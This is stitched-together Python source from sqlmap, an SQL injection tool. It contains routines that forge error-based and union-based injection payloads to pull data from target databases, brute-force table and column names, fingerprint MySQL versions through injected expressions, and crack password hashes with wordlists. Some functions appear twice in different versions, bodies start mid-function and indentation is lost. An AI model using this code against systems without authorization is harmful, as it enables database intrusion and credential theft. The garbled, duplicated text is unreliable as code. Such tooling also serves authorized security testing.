if Backend.getIdentifiedDbms() in (DBMS.MYSQL, ):
result = not inject.checkBooleanExpression(
"%s" % safeStringFormat(
"EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')",
(column, table, column)))
else:
result = inject.checkBooleanExpression("%s" % safeStringFormat(
"EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))",
(column, table, column, column)))
if result:
columns[column] = 'numeric'
else:
columns[column] = 'non-numeric'
kb.data.cachedColumns[conf.db] = {conf.tbl: columns}
for _ in map(lambda x: (conf.db, conf.tbl, x[0], x[1]),
columns.items()):
if _ not in kb.brute.columns:
kb.brute.columns.append(_)
hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True)
return kb.data.cachedColumns
def tableExists(tableFile, regex=None):
result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr())))
if result:
errMsg = "can't use table existence check because of detected invalid results "
errMsg += "(most probably caused by inability of the used injection "
errMsg += "to distinguish errornous results)"
raise SqlmapDataException, errMsg
tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True)
infoMsg = "checking table existence using items from '%s'" % tableFile
logger.info(infoMsg)
tables.extend(_addPageTextWords())
tables = filterListValue(tables, regex)
threadData = getCurrentThreadData()
threadData.shared.count = 0
threadData.shared.limit = len(tables)
threadData.shared.outputs = []
threadData.shared.unique = set()
def tableExistsThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.count.acquire()
if threadData.shared.count < threadData.shared.limit:
table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True)
threadData.shared.count += 1
kb.locks.count.release()
else:
kb.locks.count.release()
break
if conf.db and METADB_SUFFIX not in conf.db:
fullTableName = "%s%s%s" % (conf.db, '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.', table)
else:
fullTableName = table
result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))
kb.locks.io.acquire()
if result and table.lower() not in threadData.shared.unique:
threadData.shared.outputs.append(table)
threadData.shared.unique.add(table.lower())
if conf.verbose in (1, 2):
clearConsoleLine(True)
infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime("%X"), table)
dataToStdout(infoMsg, True)
if conf.verbose in (1, 2):
status = '%d/%d items (%d%s)' % (threadData.shared.count, threadData.shared.limit, round(100.0*threadData.shared.count/threadData.shared.limit), '%')
dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
kb.locks.io.release()
try:
runThreads(conf.threads, tableExistsThread, threadChoice=True)
except KeyboardInterrupt:
warnMsg = "user aborted during table existence "
warnMsg += "check. sqlmap will display partial output"
logger.warn(warnMsg)
clearConsoleLine(True)
dataToStdout("\n")
if not threadData.shared.outputs:
warnMsg = "no table(s) found"
logger.warn(warnMsg)
else:
for item in threadData.shared.outputs:
if conf.db not in kb.data.cachedTables:
kb.data.cachedTables[conf.db] = [item]
else:
kb.data.cachedTables[conf.db].append(item)
for _ in map(lambda x: (conf.db, x), threadData.shared.outputs):
if _ not in kb.brute.tables:
kb.brute.tables.append(_)
hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True)
return kb.data.cachedTables
def _oneShotErrorUse(expression, field=None):
offset = 1
partialValue = None
threadData = getCurrentThreadData()
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal and PARTIAL_VALUE_MARKER in retVal:
partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue))
offset += len(partialValue)
threadData.resumed = retVal is not None and not partialValue
if Backend.isDbms(DBMS.MYSQL):
chunk_length = MYSQL_ERROR_CHUNK_LENGTH
elif Backend.isDbms(DBMS.MSSQL):
chunk_length = MSSQL_ERROR_CHUNK_LENGTH
else:
chunk_length = None
if retVal is None or partialValue:
try:
while True:
check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start)
if field:
nulledCastedField = agent.nullAndCastField(field)
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")): # skip chunking of scalar expression (unneeded)
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
if extendedField != field: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(field, nulledCastedField)
field = extendedField
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
# Forge the error-based SQL injection request
vector = kb.injection.data[kb.technique].vector
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
injExpression = unescaper.escape(injExpression)
injExpression = query.replace("[QUERY]", injExpression)
payload = agent.payload(newValue=injExpression)
# Perform the request
page, headers = Request.queryPage(payload, content=True, raise404=False)
incrementCounter(kb.technique)
# Parse the returned page to get the exact error-based
# SQL injection output
output = reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \
None)
if output is not None:
output = getUnicode(output)
else:
trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if trimmed:
warnMsg = "possible server trimmed output detected "
warnMsg += "(due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
if offset == 1:
retVal = output
else:
retVal += output if output else ''
if output and len(output) >= chunk_length:
offset += chunk_length
else:
break
if kb.fileReadMode and output:
dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
else:
retVal = output
break
except:
if retVal is not None:
hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
raise
retVal = decodeHexValue(retVal) if conf.hexConvert else retVal
if isinstance(retVal, basestring):
retVal = htmlunescape(retVal).replace("<br>", "\n")
retVal = _errorReplaceChars(retVal)
if retVal is not None:
hashDBWrite(expression, retVal)
else:
_ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal
return safecharencode(retVal) if kb.safeCharEncode else retVal
def dictionaryAttack(attack_dict):
suffix_list = [""]
custom_wordlist = [""]
hash_regexes = []
results = []
resumes = []
user_hash = []
processException = False
foundHash = False
for (_, hashes) in attack_dict.items():
for hash_ in hashes:
if not hash_:
continue
hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
regex = hashRecognition(hash_)
if regex and regex not in hash_regexes:
hash_regexes.append(regex)
infoMsg = u"使用哈希hash方法 '%s'" % __functions__[regex].func_name
logger.info(infoMsg)
for hash_regex in hash_regexes:
keys = set()
attack_info = []
for (user, hashes) in attack_dict.items():
for hash_ in hashes:
if not hash_:
continue
foundHash = True
hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
if re.match(hash_regex, hash_):
item = None
if hash_regex not in (HASH.CRYPT_GENERIC, HASH.WORDPRESS):
hash_ = hash_.lower()
if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD,
HASH.MD5_GENERIC, HASH.SHA1_GENERIC):
item = [(user, hash_), {}]
elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES):
item = [(user, hash_), {'username': user}]
elif hash_regex in (HASH.ORACLE, ):
item = [(user, hash_), {'salt': hash_[-20:]}]
elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD,
HASH.MSSQL_NEW):
item = [(user, hash_), {'salt': hash_[6:14]}]
elif hash_regex in (HASH.CRYPT_GENERIC, ):
item = [(user, hash_), {'salt': hash_[0:2]}]
elif hash_regex in (HASH.WORDPRESS, ):
if ITOA64.index(hash_[3]) < 32:
item = [(user, hash_), {
'salt': hash_[4:12],
'count': 1 << ITOA64.index(hash_[3]),
'prefix': hash_[:12]
}]
else:
warnMsg = "invalid hash '%s'" % hash_
logger.warn(warnMsg)
if item and hash_ not in keys:
resumed = hashDBRetrieve(hash_)
if not resumed:
attack_info.append(item)
user_hash.append(item[0])
else:
infoMsg = u"正在恢复哈希'%s'的密码'%s'" % (hash_, resumed)
if user and not user.startswith(DUMMY_USER_PREFIX):
infoMsg += u"，对于用户'%s'" % user
logger.info(infoMsg)
resumes.append((user, hash_, resumed))
keys.add(hash_)
if not attack_info:
continue
if not kb.wordlists:
while not kb.wordlists:
# the slowest of all methods hence smaller default dict
if hash_regex in (HASH.ORACLE_OLD, HASH.WORDPRESS):
dictPaths = [paths.SMALL_DICT]
else:
dictPaths = [paths.WORDLIST]
message = u"你想要使用什么字典？?\n"
message += u"[1] 默认字典文件 '%s' (按回车)\n" % dictPaths[0]
message += u"[2] 自定义字典文件\n"
message += u"[3] 文件与字典文件列表"
choice = readInput(message, default='1')
try:
if choice == '2':
message = u"自定义字典位置?\n"
_ = readInput(message)
if _:
dictPaths = [readInput(message)]
logger.info(u"使用自定义字典")
elif choice == '3':
message = u"列表文件位置?\n"
listPath = readInput(message)
checkFile(listPath)
dictPaths = getFileItems(listPath)
logger.info(u"使用自定义的字典列表")
else:
logger.info(u"使用默认字典")
dictPaths = filter(None, dictPaths)
for dictPath in dictPaths:
checkFile(dictPath)
if os.path.splitext(dictPath)[1].lower() == ".zip":
_ = zipfile.ZipFile(dictPath, 'r')
if len(_.namelist()) == 0:
errMsg = u"'%s'内没有文件" % dictPath
raise SqlmapDataException(errMsg)
else:
_.open(_.namelist()[0])
kb.wordlists = dictPaths
except Exception, ex:
warnMsg = u"加载字典('%s')时出现问题" % getSafeExString(ex)
logger.critical(warnMsg)
message = u"你想使用常用的密码后缀吗? (slow!) [y/N] "
if readInput(message, default='N', boolean=True):
suffix_list += COMMON_PASSWORD_SUFFIXES
infoMsg = u"开始基于字典的破解(%s)" % __functions__[hash_regex].func_name
logger.info(infoMsg)
for item in attack_info:
((user, _), _) = item
if user and not user.startswith(DUMMY_USER_PREFIX):
custom_wordlist.append(normalizeUnicode(user))
if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC,
HASH.SHA1_GENERIC):
for suffix in suffix_list:
if not attack_info or processException:
break
if suffix:
clearConsoleLine()
infoMsg = u"使用后缀 '%s'" % suffix
logger.info(infoMsg)
retVal = None
processes = []
try:
if _multiprocessing:
if _multiprocessing.cpu_count() > 1:
infoMsg = u"启动%d个进程" % _multiprocessing.cpu_count()
singleTimeLogMessage(infoMsg)
gc.disable()
retVal = _multiprocessing.Queue()
count = _multiprocessing.Value(
'i', _multiprocessing.cpu_count())
for i in xrange(_multiprocessing.cpu_count()):
process = _multiprocessing.Process(
target=_bruteProcessVariantA,
args=(attack_info, hash_regex, suffix, retVal,
i, count, kb.wordlists, custom_wordlist,
conf.api))
processes.append(process)
for process in processes:
process.daemon = True
process.start()
while count.value > 0:
time.sleep(0.5)
else:
warnMsg = u"此平台目前不支持多进程哈希破解"
singleTimeWarnMessage(warnMsg)
retVal = Queue()
_bruteProcessVariantA(attack_info, hash_regex, suffix,
retVal, 0, 1, kb.wordlists,
custom_wordlist, conf.api)
except KeyboardInterrupt:
print
processException = True
warnMsg = u"用户在基于字典的攻击阶段中中止(Ctrl + C被按下)"
logger.warn(warnMsg)
for process in processes:
try:
process.terminate()
process.join()
except (OSError, AttributeError):
pass
finally:
if _multiprocessing:
gc.enable()
if retVal:
conf.hashDB.beginTransaction()
while not retVal.empty():
user, hash_, word = item = retVal.get(block=False)
attack_info = filter(
lambda _: _[0][0] != user or _[0][1] != hash_,
attack_info)
hashDBWrite(hash_, word)
results.append(item)
conf.hashDB.endTransaction()
clearConsoleLine()
else:
for ((user, hash_), kwargs) in attack_info:
if processException:
break
if any(_[0] == user and _[1] == hash_ for _ in results):
continue
count = 0
found = False
for suffix in suffix_list:
if found or processException:
break
if suffix:
clearConsoleLine()
infoMsg = u"使用后缀 '%s'" % suffix
logger.info(infoMsg)
retVal = None
processes = []
try:
if _multiprocessing:
if _multiprocessing.cpu_count() > 1:
infoMsg = u"启动%d个进程 " % _multiprocessing.cpu_count(
)
singleTimeLogMessage(infoMsg)
gc.disable()
retVal = _multiprocessing.Queue()
found_ = _multiprocessing.Value('i', False)
count = _multiprocessing.Value(
'i', _multiprocessing.cpu_count())
for i in xrange(_multiprocessing.cpu_count()):
process = _multiprocessing.Process(
target=_bruteProcessVariantB,
args=(user, hash_, kwargs, hash_regex,
suffix, retVal, found_, i, count,
kb.wordlists, custom_wordlist,
conf.api))
processes.append(process)
for process in processes:
process.daemon = True
process.start()
while count.value > 0:
time.sleep(0.5)
found = found_.value != 0
else:
warnMsg = u"此平台目前不支持多进程哈希破解"
singleTimeWarnMessage(warnMsg)
class Value():
pass
retVal = Queue()
found_ = Value()
found_.value = False
_bruteProcessVariantB(user, hash_, kwargs,
hash_regex, suffix, retVal,
found_, 0, 1, kb.wordlists,
custom_wordlist, conf.api)
found = found_.value
except KeyboardInterrupt:
print
processException = True
warnMsg = u"用户在基于字典的攻击阶段中中止(Ctrl + C被按下)"
logger.warn(warnMsg)
for process in processes:
try:
process.terminate()
process.join()
except (OSError, AttributeError):
pass
finally:
if _multiprocessing:
gc.enable()
if retVal:
conf.hashDB.beginTransaction()
while not retVal.empty():
user, hash_, word = item = retVal.get(
block=False)
hashDBWrite(hash_, word)
results.append(item)
conf.hashDB.endTransaction()
clearConsoleLine()
def tableExists(tableFile, regex=None):
if kb.tableExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
warnMsg += "for common table existence check"
logger.warn(warnMsg)
message = "are you sure you want to continue? [y/N] "
kb.tableExistsChoice = readInput(message, default='N', boolean=True)
if not kb.tableExistsChoice:
return None
result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr())))
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
if result:
errMsg = "can't use table existence check because of detected invalid results "
errMsg += "(most likely caused by inability of the used injection "
errMsg += "to distinguish erroneous results)"
raise SqlmapDataException(errMsg)
message = "which common tables (wordlist) file do you want to use?\n"
message += "[1] default '%s' (press Enter)\n" % tableFile
message += "[2] custom"
choice = readInput(message, default='1')
if choice == '2':
message = "what's the custom common tables file location?\n"
tableFile = readInput(message) or tableFile
infoMsg = "checking table existence using items from '%s'" % tableFile
logger.info(infoMsg)
tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True)
tables.extend(_addPageTextWords())
tables = filterListValue(tables, regex)
threadData = getCurrentThreadData()
threadData.shared.count = 0
threadData.shared.limit = len(tables)
threadData.shared.value = []
threadData.shared.unique = set()
def tableExistsThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.count.acquire()
if threadData.shared.count < threadData.shared.limit:
table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True)
threadData.shared.count += 1
kb.locks.count.release()
else:
kb.locks.count.release()
break
if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
fullTableName = "%s.%s" % (conf.db, table)
else:
fullTableName = table
result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))
kb.locks.io.acquire()
if result and table.lower() not in threadData.shared.unique:
threadData.shared.value.append(table)
threadData.shared.unique.add(table.lower())
if conf.verbose in (1, 2) and not conf.api:
clearConsoleLine(True)
infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table))
dataToStdout(infoMsg, True)
if conf.verbose in (1, 2):
status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
kb.locks.io.release()
try:
runThreads(conf.threads, tableExistsThread, threadChoice=True)
except KeyboardInterrupt:
warnMsg = "user aborted during table existence "
warnMsg += "check. sqlmap will display partial output"
logger.warn(warnMsg)
clearConsoleLine(True)
dataToStdout("\n")
if not threadData.shared.value:
warnMsg = "no table(s) found"
logger.warn(warnMsg)
else:
for item in threadData.shared.value:
if conf.db not in kb.data.cachedTables:
kb.data.cachedTables[conf.db] = [item]
else:
kb.data.cachedTables[conf.db].append(item)
for _ in ((conf.db, item) for item in threadData.shared.value):
if _ not in kb.brute.tables:
kb.brute.tables.append(_)
hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True)
return kb.data.cachedTables
def _oneShotErrorUse(expression, field=None, chunkTest=False):
offset = 1
partialValue = None
threadData = getCurrentThreadData()
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal and PARTIAL_VALUE_MARKER in retVal:
partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue))
offset += len(partialValue)
threadData.resumed = retVal is not None and not partialValue
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
debugMsg = "searching for error chunk length..."
logger.debug(debugMsg)
current = MAX_ERROR_CHUNK_LENGTH
while current >= MIN_ERROR_CHUNK_LENGTH:
testChar = str(current % 10)
testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
if result and testChar in result:
if result == testChar * current:
kb.errorChunkLength = current
break
else:
current = len(result) - len(kb.chars.stop)
else:
current = current / 2
if kb.errorChunkLength:
hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
else:
kb.errorChunkLength = 0
if retVal is None or partialValue:
try:
while True:
check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
trimcheck = "%s(?P<result>[^<]*)" % (kb.chars.start)
if field:
nulledCastedField = agent.nullAndCastField(field)
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
if extendedField != field: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(field, nulledCastedField)
field = extendedField
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)
# Forge the error-based SQL injection request
vector = kb.injection.data[kb.technique].vector
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
injExpression = unescaper.escape(injExpression)
injExpression = query.replace("[QUERY]", injExpression)
payload = agent.payload(newValue=injExpression)
# Perform the request
page, headers = Request.queryPage(payload, content=True, raise404=False)
incrementCounter(kb.technique)
if page and conf.noEscape:
page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page)
# Parse the returned page to get the exact error-based
# SQL injection output
output = reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
if headers else None), re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \
None)
if output is not None:
output = getUnicode(output)
else:
trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if trimmed:
if not chunkTest:
warnMsg = "possible server trimmed output detected "
warnMsg += "(due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
if not kb.testMode:
check = "(?P<result>.*?)%s" % kb.chars.stop[:2]
output = extractRegexResult(check, trimmed, re.IGNORECASE)
if not output:
check = "(?P<result>[^\s<>'\"]+)"
output = extractRegexResult(check, trimmed, re.IGNORECASE)
else:
output = output.rstrip()
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
if offset == 1:
retVal = output
else:
retVal += output if output else ''
if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest:
offset += kb.errorChunkLength
else:
break
if kb.fileReadMode and output:
dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
else:
retVal = output
break
except:
if retVal is not None:
hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
raise
retVal = decodeHexValue(retVal) if conf.hexConvert else retVal
if isinstance(retVal, basestring):
retVal = htmlunescape(retVal).replace("<br>", "\n")
retVal = _errorReplaceChars(retVal)
if retVal is not None:
hashDBWrite(expression, retVal)
else:
_ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal
return safecharencode(retVal) if kb.safeCharEncode else retVal
def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve(
"%s%s" % (conf.hexConvert, expression),
checkConf=True) # as union data is stored raw unconverted
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
if retVal is None:
# Prepare expression with delimiters
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
# Forge the union SQL injection request
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1],
vector[2], vector[3], vector[4],
vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[
6]
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers = Request.queryPage(payload,
content=True,
raise404=False)
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
# Parse the returned page to get the exact union-based
# SQL injection output
def _(regex):
return reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
None)
# Automatically patching last char trimming cases
if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page
or ""):
warnMsg = "automatically patching output having last char trimmed"
singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of union injection
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
retVal = htmlunescape(retVal).replace("<br>", "\n")
hashDBWrite("%s%s" % (conf.hexConvert, expression), retVal)
else:
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
if trimmed:
warnMsg = "possible server trimmed output detected "
warnMsg += "(probably due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
return retVal
def checkDbms(self):
"""
References for fingerprint:
* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89)
* http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42)
* http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4)
* http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0)
* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
"""
if not conf.extensiveFp and Backend.isDbmsWithin(MYSQL_ALIASES):
setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion()))
if Backend.isVersionGreaterOrEqualThan("5"):
kb.data.has_information_schema = True
self.getBanner()
return True
infoMsg = "testing %s" % DBMS.MYSQL
logger.info(infoMsg)
result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL")
if result:
infoMsg = "confirming %s" % DBMS.MYSQL
logger.info(infoMsg)
result = inject.checkBooleanExpression(
"SESSION_USER() LIKE USER()")
if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL
logger.warn(warnMsg)
return False
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) is None:
hashDBWrite(
HASHDB_KEYS.DBMS_FORK,
inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'")
and "MariaDB" or "")
# reading information_schema on some platforms is causing annoying timeout exits
# Reference: http://bugs.mysql.com/bug.php?id=15855
# Determine if it is MySQL >= 5.0.0
if inject.checkBooleanExpression(
"ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"):
kb.data.has_information_schema = True
Backend.setVersion(">= 5.0.0")
setDbms("%s 5" % DBMS.MYSQL)
self.getBanner()
if not conf.extensiveFp:
return True
infoMsg = "actively fingerprinting %s" % DBMS.MYSQL
logger.info(infoMsg)
# Check if it is MySQL >= 5.5.0
if inject.checkBooleanExpression("TO_SECONDS(950501)>0"):
Backend.setVersion(">= 5.5.0")
# Check if it is MySQL >= 5.1.2 and < 5.5.0
elif inject.checkBooleanExpression(
"@@table_open_cache=@@table_open_cache"):
if inject.checkBooleanExpression(
"[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)"
):
Backend.setVersionList([">= 5.1.12", "< 5.5.0"])
elif inject.checkBooleanExpression(
"[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PROCESSLIST LIMIT 0, 1)"
):
Backend.setVersionList([">= 5.1.7", "< 5.1.12"])
elif inject.checkBooleanExpression(
"[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PARTITIONS LIMIT 0, 1)"
):
Backend.setVersion("= 5.1.6")
elif inject.checkBooleanExpression(
"[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PLUGINS LIMIT 0, 1)"
):
Backend.setVersionList([">= 5.1.5", "< 5.1.6"])
else:
Backend.setVersionList([">= 5.1.2", "< 5.1.5"])
# Check if it is MySQL >= 5.0.0 and < 5.1.2
elif inject.checkBooleanExpression("@@hostname=@@hostname"):
Backend.setVersionList([">= 5.0.38", "< 5.1.2"])
elif inject.checkBooleanExpression(
"@@character_set_filesystem=@@character_set_filesystem"
):
Backend.setVersionList([">= 5.0.19", "< 5.0.38"])
elif not inject.checkBooleanExpression(
"[RANDNUM]=(SELECT [RANDNUM] FROM DUAL WHERE [RANDNUM1]!=[RANDNUM2])"
):
Backend.setVersionList([">= 5.0.11", "< 5.0.19"])
elif inject.checkBooleanExpression(
"@@div_precision_increment=@@div_precision_increment"):
Backend.setVersionList([">= 5.0.6", "< 5.0.11"])
elif inject.checkBooleanExpression(
"@@automatic_sp_privileges=@@automatic_sp_privileges"):
Backend.setVersionList([">= 5.0.3", "< 5.0.6"])
else:
Backend.setVersionList([">= 5.0.0", "< 5.0.3"])
elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"):
Backend.setVersion(">= 5.0.2")
setDbms("%s 5" % DBMS.MYSQL)
self.getBanner()
elif inject.checkBooleanExpression(
"STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"):
Backend.setVersion("< 5.0.0")
setDbms("%s 4" % DBMS.MYSQL)
self.getBanner()
if not conf.extensiveFp:
return True
# Check which version of MySQL < 5.0.0 it is
if inject.checkBooleanExpression(
"3=(SELECT COERCIBILITY(USER()))"):
Backend.setVersionList([">= 4.1.11", "< 5.0.0"])
elif inject.checkBooleanExpression(
"2=(SELECT COERCIBILITY(USER()))"):
Backend.setVersionList([">= 4.1.1", "< 4.1.11"])
elif inject.checkBooleanExpression(
"CURRENT_USER()=CURRENT_USER()"):
Backend.setVersionList([">= 4.0.6", "< 4.1.1"])
if inject.checkBooleanExpression(
"'utf8'=(SELECT CHARSET(CURRENT_USER()))"):
Backend.setVersion("= 4.1.0")
else:
Backend.setVersionList([">= 4.0.6", "< 4.1.0"])
else:
Backend.setVersionList([">= 4.0.0", "< 4.0.6"])
else:
Backend.setVersion("< 4.0.0")
